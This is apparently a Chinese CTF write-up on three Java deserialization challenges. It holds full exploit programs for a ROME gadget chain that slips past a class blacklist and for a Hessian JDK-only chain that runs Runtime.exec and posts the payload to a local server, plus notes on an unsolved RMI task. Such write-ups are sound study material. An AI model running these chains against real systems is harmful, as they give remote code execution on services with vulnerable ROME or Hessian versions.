CTF-java专题

2022-长城杯-b4bycoffee

首先看该题的依赖,发现rome版本为1.7,存在反序列化漏洞

注意到com.example.bab4coffee.tools目录下面自己写了一个InputSteam

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class AntObjectInputStream extends ObjectInputStream {
private List<String> list = new ArrayList();

public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
this.list.add(BadAttributeValueExpException.class.getName());
this.list.add(ObjectBean.class.getName());
this.list.add(ToStringBean.class.getName());
this.list.add(TemplatesImpl.class.getName());
this.list.add(Runtime.class.getName());
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.list.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
} else {
return super.resolveClass(desc);
}
}
}

重写了resolveClass并且定义了一个黑名单,但熟悉rome反序列化漏洞的朋友都知道还有一个类没被禁掉,那就是EqualsBean,但是后面的TOStringBean给禁掉了

很幸运,在翻文件的时候看到了CoffeeBean,该类中有一个toString()方法,并且可以加载字节码,允许任意类初始化

这就相当于一个类直接替代掉了之前链子中的ToStringBean和TemplatesImpl

所以我们可以得到以下的这条链子

1
2
3
4
5
java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString

poc这里就不给了,比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.example.b4bycoffee.model.CoffeeBean;
import com.example.b4bycoffee.tools.AntObjectInputStream;
import com.rometools.rome.feed.impl.EqualsBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class exploit {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception{
CoffeeBean toStringBean = new CoffeeBean();
Class c = toStringBean.getClass();
Field classByteField = c.getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class));
classByteField.set(toStringBean,bytes);
EqualsBean bean = new EqualsBean(String.class,"a");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",toStringBean);
map2.put("zZ",bean);
map2.put("yy",toStringBean);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"beanClass",CoffeeBean.class);
setFieldValue(bean,"obj",toStringBean);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

// InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(new String(Base64.getEncoder().encode(baos.toByteArray()))));
// AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream);
// antInputStream.readObject();
}
}

加载Spring回显类即可,注意这里传参方式是@RequestBody CoffeeRequest coffee,需要使用json传

Hessian_only_jdk

该题考的就是hessian_jdk原生链,也没看到什么黑名单啥的,主要的代码就是下面的这个index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.ctf.hessian.onlyJdk;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class Index {
public Index() {
}
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}

static class MyHandler implements HttpHandler {
MyHandler() {
}

public void handle(HttpExchange t) throws IOException {
String response = "Welcome to 0CTF 2022!";
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception var5) {
Exception e = var5;
e.printStackTrace();
response = "oops! something is wrong";
}
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
}

就是对接收到的请求体进行一个hessian反序列化的操作

然后我们看配置文件中的hessian版本为4.0.38,低于4.0.60,所以我们可以直接用上Runtime的那个exp来解决题目

需要注意的是该题的请求体直接传不进去,所以我们需要自己写个代码构造请求传进去

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;

public class Poc {
public static void main(String[] args) throws Exception {

Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
// MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);

String s = ser(mimeTypeParameterList);
// System.out.println(Base64.getDecoder().decode(s));
// unser(s);
byte[] bytes = Base64.getDecoder().decode(s);
// 发送请求
URL url = new URL("http://127.0.0.1:8090/");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setDoOutput(true);
conn.setRequestMethod("POST");

OutputStream os = conn.getOutputStream();
os.write(bytes);
os.flush();
os.close();

System.out.println("Response code: " + conn.getResponseCode());
}


public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
byteArrayOutputStream.write(67);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}
}

2022-0ctf-3rm1

该题jdk版本为201

干了一天是在是做不出来,网上关于该题的wp不多,看的我也迷迷糊糊的,就不在这里献丑了

我自己的进度是在知道该题的目的就是我们必须远程绑定一个恶意对象到注册中心上,也就是说我们必须摆脱registry默认只能本地绑定的限制,这里的话可以用工具:https://github.com/qtc-de/remote-method-guesser

该工具可以和ysoserial工具联动验证确实是该思路,用URLDNS链来验证

后面就是我们必须找一个可以rce的链子,看题目自己提供的那些类很熟悉,基本就是照着spring1的链子所需要的类自己再写一遍的,所以我们其实照着改一改就可以了

这当然是限在低版本上,高版本AnnotationInvocationHandler已经被移除了,我们需要重新找到一个类似于AnnotationInvocationHandler的代理类

很好,然后就没然后了,卡死在这里了,看wp里面是利用codeql来进行一个寻找(还没学。。。)

说实话那个链子构造目前看的也懵懵的,后面有机会再来复盘一手